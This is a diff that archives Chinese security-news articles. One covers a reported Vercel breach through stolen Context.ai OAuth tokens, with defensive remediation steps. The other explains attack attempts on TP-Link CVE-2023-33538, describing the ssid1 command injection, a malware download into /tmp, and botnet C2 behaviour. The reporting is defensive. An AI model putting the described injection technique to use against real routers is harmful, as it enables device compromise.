+![](https://mmbiz.qpic.cn/mmbiz_gif/Az5ZsrEic9ot90z9etZLlU7OTaPOdibteeibJMMmbwc29aJlDOmUicibIRoLdcuEQjtHQ2qjVtZBt0M5eVbYoQzlHiaw/640?wx_fmt=gif "") +  +聚焦源代码安全,网罗国内外最新资讯! +  + +编译:代码卫士 + +![](https://mmbiz.qpic.cn/mmbiz_png/oBANLWYScMRSylJK2k7H6mNqiaS2G6WRaeeK34cLHE6pe9VeOIHYiboAnKB0TMoayZCxFpHMLljzTnz9DnNuFiaqQ/640?wx_fmt=png "") + + +专栏·供应链安全 + + +数字化时代,软件无处不在。软件如同社会中的“虚拟人”,已经成为支撑社会正常运转的最基本元素之一,软件的安全性问题也正在成为当今社会的根本性、基础性问题。 + + +随着软件产业的快速发展,软件供应链也越发复杂多元,复杂的软件供应链会引入一系列的安全问题,导致信息系统的整体安全防护难度越来越大。近年来,针对软件供应链的安全攻击事件一直呈快速增长态势,造成的危害也越来越严重。 + + +为此,我们推出“供应链安全”栏目。本栏目汇聚供应链安全资讯,分析供应链安全风险,提供缓解建议,为供应链安全保驾护航。 + + +注:以往发布的部分供应链安全相关内容,请见文末“推荐阅读”部分。 + +**2026****年 4 月 19 日,Vercel 披露了一起涉及内部系统未授权访问的安全事件。该攻击的源头并非 Vercel 自身,而是因一名 Vercel 员工使用的第三方 AI 工具 Context.ai触发,随后通过一个被入侵的 Google Workspace OAuth 应用进行传播,最终进入 Vercel 的内部环境以及部分客户的环境变量。** + + + + + + + + + + + + + + + + + + +这是一起供应链攻击事件,但这里的“供应链”并非指代码或 npm 包,而是指企业员工用 Google 账号登录的那些 SaaS 应用。本文将说明事件经过、如何判断自己是否受影响,以及需要做出哪些改变。 + + +![](https://mmbiz.qpic.cn/mmbiz_gif/t5z0xV2OYfXibMnRMw3t8w5kfcx61v8Oj2z1YRD0micS5zDcD1qONiaGRFHhrGm7tmHnqftk0C8xpA96aT4SiadaSfPnnW4xsyqZ5BXHSDiaAvl0/640?wx_fmt=gif&from=appmsg "") + +**攻击时间线** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/t5z0xV2OYfVJDOXbBf3S1Ixd7HCiaiaPFib9iandRJlgjUCmBo5q0HwxgYa7xQFx1BovHyKnS0UqP239TMUewb0UY9cTibmOcc81OaXKWMgjs1Ys/640?wx_fmt=gif&from=appmsg "") + + + +这条攻击链的完整过程值得了解,因为它揭示了现代“供应链”入侵越来越多地通过身份提供商(而非代码)进行传播的典型路径。 + +**1、****2026****年3月:Context.ai 发生 AWS 入侵事件。** +Context.ai 是一家 AI 工具创业公司。该公司在 3 月份披露称 AWS 基础设施遭入侵,并聘请 CrowdStrike 公司代为调查。   + +**2、****OAuth****令牌被盗,但未被标记为异常。** +AWS 入侵事件还暴露了 Context.ai 为 Google Workspace 集成所持有的 OAuth 令牌。调查显然未能发现这一点。 + +**3、****一名 Vercel 员工使用了 Context.ai。** +该员工此前通过 OAuth 授权 Context.ai 访问其 Google Workspace——就像授权任何需要读取邮件、文件或日历的第三方 SaaS 应用一样。 + +**4、****攻击者重放了令牌。** +凭借有效的 OAuth 令牌,攻击者可以冒充 Context.ai 应用,并访问该 Vercel 员工的 Google Workspace 账户。当已预先授权的 OAuth 应用调用 Google API 时,不会触发密码或多因素认证 (MFA) 提示。 + +**5、****横向移动进入 Vercel 内部系统。** +攻击者从该 Workspace 账户出发,通过一系列权限提升操作最终进入了 Vercel 的内部环境。 + +**6、****访问客户的环境变量。** +进入内部后,攻击者能够读取 Vercel 平台上那些未被客户标记为“敏感”的环境变量。Vercel 对所有静态环境变量都进行了加密,但标记为“敏感”的环境变量即使对 Vercel 内部员工也不可见,因此未受到影响。 + +Vercel 检测到了异常活动,聘请 Mandiant 公司介入调查并通知执法机构,并于 4 月 19 日进行了公开披露。 + + +![](https://mmbiz.qpic.cn/mmbiz_gif/t5z0xV2OYfXtk6kH4ZhadLI0z3CyI6nJwZeYwvHUycqLJIdMObpR6qv03hd9DEtafmy0S6ayBJXqJqzemY54PonSuPibIHYh2xp31VkeAtRY/640?wx_fmt=gif&from=appmsg "") + +**已暴露(及未暴露)的内容** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/t5z0xV2OYfVX8QXMMDwPsoHh9vaTwj8X0dAXlntVLnicer2AMEcnib2LO1Y1NXUXQB7IN5J8ibiba63E2Ff6AJz5DPZeuLm4tXGGMZaXeus5VQY/640?wx_fmt=gif&from=appmsg "") + + + +**Vercel****官方确认的情况** + +攻击者可能访问了以下内容: + +- “一小部分客户”的 Vercel 凭证 + +- 客户项目中未标记为“敏感”的环境变量 + +- 客户项目中的 Deployment Protection 令牌 + +- Vercel 的各类内部系统和工具 + + + +攻击者**未能** +访问以下内容: + +- 标记为“敏感”的环境变量(即使 Vercel 员工也无法查看) + +- 所列子集之外的任何客户数据(Vercel 已直接联系受影响客户) + +- Vercel 的构建/运行基础设施本身 + + + +在整个事件发生期间,Vercel 服务始终保持正常运行。Vercel 的公共边缘网络、构建系统以及部署并非攻击面。 + +**攻击者的说法** + +安全研究员 @k1rallik 在一条推文中声称,该威胁行为者是 ShinyHunters(即 2024 年 Ticketmaster 数据泄露事件的幕后组织),提到BreachForums 论坛正在以200万美元的价格出售 Vercel 内部数据库的副本。据称该数据列表包含属于 Vercel 的 NPM 令牌和 GitHub 令牌。该研究员还声称 Vercel 通过 Telegram 直接联系了攻击者。 + +**这一点尚未得到 Vercel 的官方确认。** +应将这一说法视为社区信号,而非既定事实。但其中隐含的风险值得认真对待:如果用于发布 Vercel 所维护包的 NPM 令牌被盗,最坏的情况下,next、@vercel/next、@vercel/analytics 或任何其它由 Vercel 发布包的恶意版本将出现在 npm 上。仅 Next.js 每周就有约 600 万次下载,这将使其成为一场教科书式的全球供应链攻击,与最近 axios 被入侵事件形态类似。 + +如果 Vercel 确认或否认令牌被盗,我们后续将更新。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/t5z0xV2OYfW6ibEIMAZ6qS64tqYnoN1b6M9ibbnRoicdxpkWp3PFkmzcPIxmLGTS9cmjs3kGrI5O9YKakHcl7ias7iaDJpxpavicRV76suBdJbbCk/640?wx_fmt=gif&from=appmsg "") + +**如何判断是否受影响?** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/t5z0xV2OYfXyRib5esnEp4x348m8PP9l1eDMRuPIEPX6DDKrDs5uuaFGibbpHHAEibcjNrrVYsxbeb899AME9LZpuWuLno33gDdCASuwpl5icQg/640?wx_fmt=gif&from=appmsg "") + + + +Vercel 已直接联系了受影响的客户。Vercel 表示,如果未收到通知,则说明没有发现账户被入侵的证据。话虽如此,更为稳妥的做法是自行核实。 + +**检查通知** + +1、 +在与 Vercel 账户所有者关联的收件箱中,查找日期在 2026 年 4 月 19 日前后来自 Vercel 的邮件。 + +2、检查 Vercel 仪表板中是否有横幅通知或应用内通知。 + +3、搜索垃圾邮件 / 隔离文件夹。 + +**审计账户活动** +``` +# In the Vercel dashboard: +# Settings → Security → Audit Log +``` + +查找不熟悉的情况: + +- 自身未触发的部署 + +- 新的团队成员或项目邀请 + +- 令牌创建或 SSH 密钥添加 + +- 环境变量变更 + +- 域名或 DNS 设置变更 + + + +需特别关注 2026 年 4 月初到审计之日期间的活动。 + +**检查近期的部署** +``` +# Vercel dashboard → Project → Deployments +``` + + +对于自 4 月初以来的每个生产部署,需验证: + +- commit SHA 与 Git 历史记录一致 + +- 构建日志不包含异常命令或输出 + +- 部署由已知用户或 CI 流水线触发 + + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/t5z0xV2OYfUuYJVDbicSxe0rmaQcj20x0Q7XcAc8wt4TtgeeC1BA1nBXxkmiaOJpGGfHpDzNcMkjIiabF4iaNcebScN8CnCcjcT9tvcZtIm4nds/640?wx_fmt=gif&from=appmsg "") + +**如受影响,如何修复?** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/t5z0xV2OYfXa3qgVENmtP53Z89GjEhmjH89uJcpxiaklIMGxE1309T8yQVRW0ZtufKpp2Wc90B4hZw1ThmcCWwB9aefOzaDd7K7PbIaPpK3I/640?wx_fmt=gif&from=appmsg "") + + + +如果收到 Vercel 的通知,或审计发现了任何可疑情况,需假定自己的非敏感环境变量已被读取,并采取相应措施。 + +**1、****更换所有曾经存在于非敏感环境变量中的密钥** + +包括: + +- 第三方 API 密钥(Stripe、OpenAI、Sentry、PostHog、Resend 等任何服务) + +- 数据库连接字符串和凭据 + +- OAuth 客户端密钥和 webhook 签名密钥 + +- 内部服务间通信令牌 + +- 任何其它以普通环境变量(而非敏感环境变量)存储的凭据 + + + +如有可能,需在原处更换。否则,需发布新凭据、完成部署,再撤销旧凭据。 + +**2、****更换 Deployment Protection 令牌** +``` +# Vercel dashboard → Project → Settings → Deployment Protection → Rotate token +``` + + +如攻击者获得 Deployment Protection 令牌,就可绕过预览部署的保护措施。 + +**3、****将 Deployment Protection 至少提升到 Standard 级别** + +如果受影响项目上的 Deployment Protection 之前设置为 None 或低于 Standard 级别,需提升,以防止未来对预览 URL 的未授权访问。 + +**4、****后续采用敏感环境变量** + +Vercel 为每个变量提供了一个“敏感”标志。敏感值: + +- 仅能被运行中的部署读取,仪表板、CLI 或 Vercel 员工均无法查看 + +- 不会包含在构建日志中 + +- 设置后无法再被查看 + + + +需将所有机密(密钥、令牌、密码)都移至敏感环境变量。将非敏感变量留给真正非秘密的配置使用,例如功能开关、区域名称或公共 URL。 +``` +# When adding a new env var in the dashboard, check the +# "Sensitive" checkbox. For secrets, always. +``` + + +**5、****重新构建并重新部署** + +更换完成后,触发一次干净的重新部署,以便新值生效,旧值仅作为旧构建中的无效引用存在。 + +**6、****锁定Next.js 和 Vercel 发布的 npm 依赖** + +如果使用 Next.js 或任何由 Vercel 发布的包(next、@vercel/*、@next/*),需在 Vercel 官方确认没有发布令牌被泄露之前,在 lockfile 中将其锁定到已知安全的版本: +``` +# See what you have locked +grep -E '"next":|"@vercel/|"@next/' package.json package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null +# In CI, use clean installs that respect the lockfile exactly +npm ci +# or +pnpm install --frozen-lockfile +# or +yarn install --frozen-lockfile +``` + + +如不需要,可在 CI 中对不受信任的依赖项禁用 postinstall 脚本: +``` +npm ci --ignore-scripts +``` + + +在 4 月 19 日到 Vercel 宣布风险解除这段时间内,监控 npm 上 next 包的发布动态,留意任何非预期的版本发布。在此时间窗口内出现的任何计划外补丁版本都是一个危险信号。 + + +![](https://mmbiz.qpic.cn/mmbiz_gif/t5z0xV2OYfV30sOE8IGH2dicHlG3Rw2iaT0pQYFcIR2AF7pxicOVucRnFlEmZCbZibyPrEgNhQQtAhib2eDWARtwZKLeyHvfpMiaS0kEZfibKE6wlg/640?wx_fmt=gif&from=appmsg "") + +**如何防范类似攻击** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/t5z0xV2OYfWjRMwknFJKA9RzegyljSqcoXXqvfRNGQ9KPbxmbljzkTGdFibdLrva1rBSOIQsDiaoq1SWt6CVCjZwC3IzOJCWf42BWxFHgcFdA/640?wx_fmt=gif&from=appmsg "") + + + +类似攻击还会再次发生。它是一种模式,而非孤立事件。无论是否使用 Vercel,都应在所在组织内做好以下加固措施。 + +**1****、将 OAuth 应用授权视为访问控制** + +团队接受的每一个“使用 Google 登录”授权,都是一条进入身份提供商的持久访问路径。大多数组织从不审计已经授权了哪些应用。 +``` +# Google Workspace admin: Security → Access and data control → +#   API controls → App access control → Manage Third-Party App Access +``` + + +检查列表。撤销任何无人认识的授权。将高价值范围(Drive、Gmail、日历的读写权限)纳入显式白名单,这样员工就无法静默地授权新应用读取公司数据。 + +GitHub 也有类似的审查页面,用于查看已获得所在组织授权的 OAuth 应用。 + +**2****、在每个 OAuth 集成上最小化权限范围** + +将第三方 SaaS 应用连接到 Workspace 或 Microsoft 365 时,需检查权限范围列表。如果某个应用只应该读取日历,却请求 https://mail.google.com/(完整的邮件访问权限),则应拒绝。但大多数员工会接受任何被请求的权限。 + +**3****、默认将每个密钥标记为敏感** + +不仅仅是在 Vercel 上这样做。在每个类似平台上都应如此: + +- Vercel:敏感环境变量 + +- AWS:Secrets Manager,绝不要在可通过 kubectl get 访问到的 Lambda 上使用明文环境变量。 + +- GitHub Actions:加密密钥,不要在工作流的 YAML 中使用明文环境变量。 + +- Kubernetes:至少使用 Secret 对象,在理想情况下使用密封的 Secret 或由 Vault 支持的External Secret Operator。 + + + +这里需要秉持的一个原则是,秘密永远不应被仪表板、日志或人类管理员读取,只能被运行时需要它的进程读取。 + +**4****、监控 Google Workspace 中的异常令牌使用情况** + +Workspace 会记录每次 OAuth 应用令牌的访问。用户可针对以下情况设置告警: + +- 一个超过 30 天未使用的 OAuth 应用令牌突然激活 + +- 来自异常地理位置或 IP 的令牌使用 + +- OAuth 应用在短时间内大量读取文档或邮件 + + + +这类活动本可更早地发现本次事件中的令牌重放。大多数组织拥有这些日志,但没有为其配置任何告警。 + +**5****、制定涵盖“供应商被入侵”场景的应急计划** + +不应等待事情发生了才开始行动,应提前写好: + +- 当某个供应商披露入侵事件时,所在团队中的联系人是谁。 + +- 哪些密钥需要按什么顺序更换(通常是:身份提供商优先,其次是支付/计费,然后是产品 API)。 + +- 如果事件影响到客户,如何与他们沟通。 + +- 更换操作手册存放在哪里。 + + + +每年通过一次桌面演练来实践该计划。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/t5z0xV2OYfV9tEAMfTaIuPbxdWFjcQfHztpFLPTiaGxNean3wLSsmZdUJbleVa3fz6icJOicbSe3WHFYap2BhEQ2bafDdTkZAHcSC0mEyS2q8s/640?wx_fmt=gif&from=appmsg "") + +**更大的教训和启发** + + +![](https://mmbiz.qpic.cn/mmbiz_gif/t5z0xV2OYfUNBMqic6aXibzmDsGtYfx5wib03V0LXHnprtvVzTONCDNN1ElRBDlBwXFrcRRmLiaRliajeuqdlnibTzzPZ3OJ2iaF6JppZsV2BIvp0k/640?wx_fmt=gif&from=appmsg "") + + + +这起事件令人不安的地方,并不是 Vercel 本身被入侵,而是最初的攻击向量是一个 Vercel 安全团队完全无法监控的 AI 工具。Context.ai 在被入侵一个月后,Vercel 内部才有人知道出了问题。CrowdStrike 公司显然也没有将 OAuth 令牌纳入其调查范围。 + +如果读者现在使用 Vercel 或任何 Serverless 平台,则风险面现在已经扩展到了每一位员工曾经用自己的Google 账号登录过的每一款 SaaS 应用。这是一个非常庞大的风险面。审计、缩小该攻击面的权限范围、对异常的令牌活动设置告警——这是唯一的防御手段。而等待供应商来披露信息并非策略。 + + +开源 +卫士试用地址: +https://sast.qianxin.com/#/login + +代码卫士试用地址: +https://codesafe.qianxin.com + + + + + + + + + + + + +**推荐阅读** + +[在线阅读版:《2025中国软件供应链安全分析报告》全文](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523516&idx=1&sn=0b6fc53ba92e7b5135395b67fff6a822&scene=21#wechat_redirect) + + +[Trivy供应链攻击触发CanisterWorm 在47个 npm 包中自传播](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247525520&idx=2&sn=b3d4dddc586c4b0aa8cefb09c0344cb8&scene=21#wechat_redirect) + + +[热门包管理器中存在多个漏洞,JavaScript 生态系统易受供应链攻击](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524984&idx=1&sn=19aef4ce8e288278782458e430a710d8&scene=21#wechat_redirect) + + +[开源自托管平台 Coolify 修复11个严重漏洞,可导致服务器遭完全攻陷](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524828&idx=2&sn=21af241f60f1452013815133745e9a72&scene=21#wechat_redirect) + + +[得不到就毁掉:第二轮Sha1-Hulud供应链攻击已发起,影响2.5万+仓库](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524487&idx=1&sn=f170d3131122071dec6e419c6cff562c&scene=21#wechat_redirect) + + +[vLLM 高危漏洞可导致RCE](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524481&idx=3&sn=6d0b161f8add2f6c1ee65e60ef6955d8&scene=21#wechat_redirect) + + +[开源AI框架 Ray 的0day已用于攻陷服务器和劫持资源](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247519162&idx=1&sn=3872fcc82018e2c561d9e4e7574f0c8e&scene=21#wechat_redirect) + + +[热门 React Native NPM 包中存在严重漏洞,开发人员易受攻击](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524330&idx=2&sn=bc54e02a8f815ed78b67d3135a9f9607&scene=21#wechat_redirect) + + +[10个npm包被指窃取 Windows、macOS 和 Linux 系统上的开发者凭据](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524314&idx=2&sn=81cae6998a39f2153ed18d7cc065303b&scene=21#wechat_redirect) + + +[热门 React Native NPM 包中存在严重漏洞,开发人员易受攻击](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524330&idx=2&sn=bc54e02a8f815ed78b67d3135a9f9607&scene=21#wechat_redirect) + + +[热门NPM库 “coa” 和“rc” 接连遭劫持,影响全球的 React 管道](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247508946&idx=1&sn=273c58d08a4225306a567cf6a150f40c&scene=21#wechat_redirect) + + +[开发人员注意:VSCode 应用市场易被滥用于托管恶意扩展](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247515219&idx=1&sn=faa32338df1d68e7cd738a80222f3a44&scene=21#wechat_redirect) + + +[GitHub Copilot 严重漏洞可导致私有仓库源代码被盗](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524163&idx=1&sn=d70a7c55e27a3e179522330a9ce62b0b&scene=21#wechat_redirect) + + +[受 Salesforce 供应链攻击影响,全球汽车巨头 Stellantis 数据遭泄露](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247524053&idx=1&sn=2b843932ebd4eeeb17b6935b08be82f8&scene=21#wechat_redirect) + + +[捷豹路虎数据遭泄露生产仍未恢复,幕后黑手或与 Salesforce-Salesloft 供应链攻击有关](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523990&idx=1&sn=ad9957a5c3d054d4a0bf32250bceb556&scene=21#wechat_redirect) + + +[十几家安全大厂信息遭泄露,谁是 Salesforce-Salesloft 供应链攻击的下一个受害者?](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523972&idx=1&sn=7b06c31940ea7576d0236d9310886b39&scene=21#wechat_redirect) + + +[第三方集成应用 Drift OAuth 令牌被用于攻陷 Salesforce 实例,全球700+家企业受影响](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523952&idx=1&sn=2bc84253019e6c2525bcf928eaed696c&scene=21#wechat_redirect) + + +[黑客发动史上规模最大的 NPM 供应链攻击,影响全球10%的云环境](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523990&idx=2&sn=6e38e1ee8cd69f1375a5be218c02ff97&scene=21#wechat_redirect) + + +[十几家安全大厂信息遭泄露,谁是 Salesforce-Salesloft 供应链攻击的下一个受害者?](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523972&idx=1&sn=7b06c31940ea7576d0236d9310886b39&scene=21#wechat_redirect) + + +[第三方集成应用 Drift OAuth 令牌被用于攻陷 Salesforce 实例,全球700+家企业受影响](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523952&idx=1&sn=2bc84253019e6c2525bcf928eaed696c&scene=21#wechat_redirect) + + +[AI供应链易遭“模型命名空间复用”攻击](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523962&idx=1&sn=2d9b8ca044c242a6ae1f72df93d7acb0&scene=21#wechat_redirect) + + +[Frostbyte10:威胁全球供应链的10个严重漏洞](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523957&idx=2&sn=288b0d14a657b13c7f1a6b14705a44e8&scene=21#wechat_redirect) + + +[PyPI拦截1800个过期域名邮件,防御供应链攻击](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523850&idx=2&sn=72dc01d9984a720959b312dd0e7cf05e&scene=21#wechat_redirect) + + +[PyPI恶意包利用依赖引入恶意行为,发动软件供应链攻击](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523844&idx=2&sn=08c8962eead61fe76467a9196b3da3e5&scene=21#wechat_redirect) + + +[黑客利用虚假 PyPI 站点钓鱼攻击Python 开发人员](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523700&idx=2&sn=463d300bdfd3de129cd5d258ceb67cf4&scene=21#wechat_redirect) + + +[700多个恶意误植域名库盯上RubyGems 仓库](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247492823&idx=2&sn=9c226ff328303e78331451ac5219df07&scene=21#wechat_redirect) + + +[NPM “意外” 删除 Stylus 合法包 全球流水线和构建被迫中断](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523648&idx=1&sn=d9237c45bf78637d1cdd3bedd1d873e6&scene=21#wechat_redirect) + + +[固件开发和更新缺陷导致漏洞多年难修,供应链安全深受其害](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523615&idx=1&sn=1df256011200be03dc2afc80016c587e&scene=21#wechat_redirect) + + +[NPM仓库被植入67个恶意包传播恶意软件](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523592&idx=2&sn=5087c0aa841caf3f0def9a1ca6c5ad27&scene=21#wechat_redirect) + + +[在线阅读版:《2025中国软件供应链安全分析报告》全文](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523516&idx=1&sn=0b6fc53ba92e7b5135395b67fff6a822&scene=21#wechat_redirect) + + +[NPM软件供应链攻击传播恶意软件](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523234&idx=2&sn=ac4e0656fd04218349d356761af176dd&scene=21#wechat_redirect) + + +[隐秘的 npm 供应链攻击:误植域名导致RCE和数据破坏](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523167&idx=2&sn=4249c8e9e0dace01810c665eda52c421&scene=21#wechat_redirect) + + +[NPM恶意包利用Unicode 隐写术躲避检测](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247523031&idx=2&sn=5071cdb63bdd6339b1a3ff7ef3581cd5&scene=21#wechat_redirect) + + +[Aikido在npm热门包 rand-user-agent 中发现恶意代码](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247522945&idx=1&sn=c767722383afc7e6b505aef2f50ba4cd&scene=21#wechat_redirect) + + +[密币Ripple 的NPM 包 xrpl.js 被安装后门窃取私钥,触发供应链攻击](https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247522841&idx=2&sn=024b6c290bf4ebecc241f11bc944be1c&scene=21#wechat_redirect) + + + + +**原文链接** + +https://devops-daily.com/posts/vercel-april-2026-security-incident + + +**本文由奇安信编译,不代表****奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。** + + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSf7nNLWrJL6dkJp7RB8Kl4zxU9ibnQjuvo4VoZ5ic9Q91K3WshWzqEybcroVEOQpgYfx1uYgwJhlFQ/640?wx_fmt=jpeg "") + +![](https://mmbiz.qpic.cn/mmbiz_jpg/oBANLWYScMSN5sfviaCuvYQccJZlrr64sRlvcbdWjDic9mPQ8mBBFDCKP6VibiaNE1kDVuoIOiaIVRoTjSsSftGC8gw/640?wx_fmt=jpeg "") + +**奇安信代码卫士 (codesafe)** + +国内首个专注于软件开发安全的产品线。 + +   ![](https://mmbiz.qpic.cn/mmbiz_gif/oBANLWYScMQ5iciaeKS21icDIWSVd0M9zEhicFK0rbCJOrgpc09iaH6nvqvsIdckDfxH2K4tu9CvPJgSf7XhGHJwVyQ/640?wx_fmt=gif "") + +  +觉得不错,就点个 “ +在看 +” 或 " +赞 +” 吧~ + + diff --git a/doc/2026-04/攻击者持续一年攻击TP-Link路由器漏洞CVE-2023-33538仍未得逞.md b/doc/2026-04/攻击者持续一年攻击TP-Link路由器漏洞CVE-2023-33538仍未得逞.md new file mode 100644 index 00000000..88d0a850 --- /dev/null +++ b/doc/2026-04/攻击者持续一年攻击TP-Link路由器漏洞CVE-2023-33538仍未得逞.md @@ -0,0 +1,84 @@ +# 攻击者持续一年攻击TP-Link路由器漏洞CVE-2023-33538仍未得逞 + FreeBuf 2026-04-21 10:31 + +![](https://mmbiz.qpic.cn/mmbiz_gif/qq5rfBadR38jUokdlWSNlAjmEsO1rzv3srXShFRuTKBGDwkj4gvYy34iajd6zQiaKl77Wsy9mjC0xBCRg0YgDIWg/640?wx_fmt=gif "") + +## +## + +**Part01** +## 黑客针对旧款TP-Link路由器漏洞 +## 发起长达一年的攻击 + + +黑客持续一年多尝试利用TP-Link老旧路由器中的高危漏洞(CVE-2023-33538,CVSS评分8.8),但至今未发现成功案例。该命令注入漏洞存在于/userRpm/WlanNetworkRpm组件中,影响多款路由器型号(包括TL-WR940N v2/v4、TL-WR740N v1/v2及TL-WR841N v8/v10)。 + + +美国网络安全和基础设施安全局(CISA)于2025年6月将该漏洞列入"已知被利用漏洞目录",要求联邦机构在2025年7月7日前完成修复。该漏洞于2023年6月披露,问题出在/userRpm/WlanNetworkRpm端点的ssid1参数未进行充分净化处理,攻击者可通过构造特殊HTTP请求注入命令,最终实现设备上的任意代码执行。相关PoC曾短暂出现在网络,现仍可通过网页存档获取。 + + +**Part02** +## 攻击活动技术分析 + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/icBE3OpK1IX2sd0hH0tLn18PS1v0WM2sy8j9OcaXdkGTlLPibice6XxEjeQRLqDkUxoDXH6qibFQ6qxoSetLrKwjrnCxe1eTics7ogibaeHQ68yb4/640?wx_fmt=jpeg&from=appmsg "") + + +Palo Alto Networks发布的报告指出:"我们的遥测系统在2025年6月该漏洞被列入KEV目录时,检测到大规模活跃攻击尝试。"研究人员观察到攻击者向/userRpm/WlanNetworkRpm.htm端点发送HTTP GET请求,试图滥用ssid参数执行多步操作:首先从远程服务器下载名为arm7的恶意ELF文件至/tmp目录,随后修改文件权限使其可执行,最终携带特定参数运行。 + + +这些请求使用Base64编码的默认凭证admin:admin进行基本认证,攻击模式符合Mirai类恶意软件特征。报告指出:"arm7二进制文件与Condi IoT僵尸网络所用样本相似,文件代码中多次出现condi字符串。"该恶意程序会连接C2服务器,通过检测网络套接字中的特定字节模式执行不同操作,包括状态反馈、启停控制、锁定模式切换及内嵌HTTP服务器激活等。 + + +**Part03** +## 恶意软件更新与传播机制 + + +当触发更新时,程序会调用内置函数删除旧文件,连接硬编码C2服务器(51.38.137[.]113)下载适配多种CPU架构的新版本。其C2基础设施与已知Mirai类僵尸网络活动存在关联。在特定指令下,受感染设备会转变为Web服务器,随机选择端口开启HTTP服务,用于向其他受感染设备分发恶意程序,实现僵尸网络扩散。 + + +**Part04** +## 漏洞利用失败原因分析 + + +Palo Alto Networks对TP-Link路由器漏洞利用失败原因进行了技术还原。漏洞根源于Web界面处理/userRpm/WlanNetworkRpm.htm端点ssid1参数时的净化缺失,攻击者可构造包含系统命令的SSID值,最终通过shell执行。完整利用链包括:HTTP请求解析→SSID值提取→配置结构存储→变更检测→构建含恶意SSID的iwconfig命令→shell执行。 + + +研究人员通过固件模拟复现漏洞时发现:设备要求认证凭据,多数情况下使用默认或弱密码;路由器运行精简版BusyBox shell,缺乏wget等关键工具,极大限制了攻击实效。报告结论指出:"无论是公开PoC还是实际观测到的攻击尝试,均未能成功入侵我们分析的TP-Link路由器环境。固件分析表明理论漏洞与实际利用存在显著差距。" + + +**Part05** +## 现实攻击存在的三大缺陷 + +- 未通过身份验证 + +- 错误定位参数(使用ssid而非ssid1) + +- 依赖固件环境中不存在的wget工具 + +这反映出攻击者常使用不完整或不准确的漏洞代码进行扫描探测,导致攻击行为虽具规模但最终无效。 + + +**参考来源:** + +CVE-2023-33538 under attack for a year, but exploitation still unsuccessful + +https://securityaffairs.com/191040/hacking/cve-2023-33538-under-attack-for-a-year-but-exploitation-still-unsuccessful.html + + + +**推荐阅读** + +[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651337140&idx=1&sn=134af642d92b85fc1076a8c83c09945c&scene=21#wechat_redirect) + + +### 电报讨论 + + +![](https://mmbiz.qpic.cn/mmbiz_png/qq5rfBadR3ibvNluUKZ6RPy7h2fbYibRbLQDHPFqj89KkFsXBRibx5YTLiaTUfFOy9PKicps3l56iazUPNQrwdhkZ7jA/640?wx_fmt=png&from=appmsg "") + +**** + + + + diff --git a/doc/2026-04/苹果正在开发修复程序以解决与缺失的捷克键盘字符相关的iPhone密码漏洞.md b/doc/2026-04/苹果正在开发修复程序以解决与缺失的捷克键盘字符相关的iPhone密码漏洞.md new file mode 100644 index 00000000..2338076b --- /dev/null +++ b/doc/2026-04/苹果正在开发修复程序以解决与缺失的捷克键盘字符相关的iPhone密码漏洞.md @@ -0,0 +1,44 @@ +# 苹果正在开发修复程序以解决与缺失的捷克键盘字符相关的iPhone密码漏洞 + 网安百色 2026-04-21 10:52 + 